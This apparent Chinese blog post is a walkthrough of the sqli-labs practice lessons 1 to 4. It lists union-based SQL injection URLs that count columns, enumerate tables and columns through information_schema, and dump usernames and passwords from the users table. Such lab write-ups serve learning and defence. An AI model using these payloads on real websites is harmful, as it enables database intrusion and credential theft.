(sqli-labs)less-1 ~ less-4

376 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

一.靶场使用与搭建

(1.)  在线:http://sqli.bihuo.cn/
(2.)  本地搭建: phpstudy + sqli-labs(下载地址:https://github.com/Audi-1/sqli-labs)

二.靶场注入

less-1:
   字段数判断:
     http://sqli.bihuo.cn/Less-1/?id=1' order by 3 --+
     http://sqli.bihuo.cn/Less-1/?id=0' union select 1,2,3 --+
    查询数据库名称:
      http://sqli.bihuo.cn/Less-1/?id=0' union select 1,database(),3 --+        
    查询表名: 
      http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(table_name),3 from  information_schema.tables where table_schema='sqli_bihuo_cn' --+	
      http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
    查询字段名:
        http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+              	
    查询字段值: 
        http://sqli.bihuo.cn/Less-1/?id=0' union select  1,group_concat(id,0x3a,username,0x2c,password,0x3b),3 from users--+
less-2:
   字段数判断:
     http://sqli.bihuo.cn/Less-2/?id='2' order by 3 --+
    查询数据库名称:
      http://sqli.bihuo.cn/Less-2/?id='0' union select 1,database(),3--+        
    查询表名: 
      http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli_bihuo_cn'--+	
    查询字段名:
        http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+            	
    查询字段值: 
        http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(id,0x2e,username,0x2e,password,0x3b),3 from users--+
less-3:
    思路同上
    最终查询字段值: 
        http://sqli.bihuo.cn/Less-3/?id=0') union select  1,group_concat(id,0x3a,username,0x2e,password,0x3b),3 from users --+
less-4:
    思路同上
    最终查询字段值: 
        http://sqli.bihuo.cn/Less-4/?id=-1") union select   1,group_concat(id,0x3a,username,0x2e,password,0x3b),3 from users --+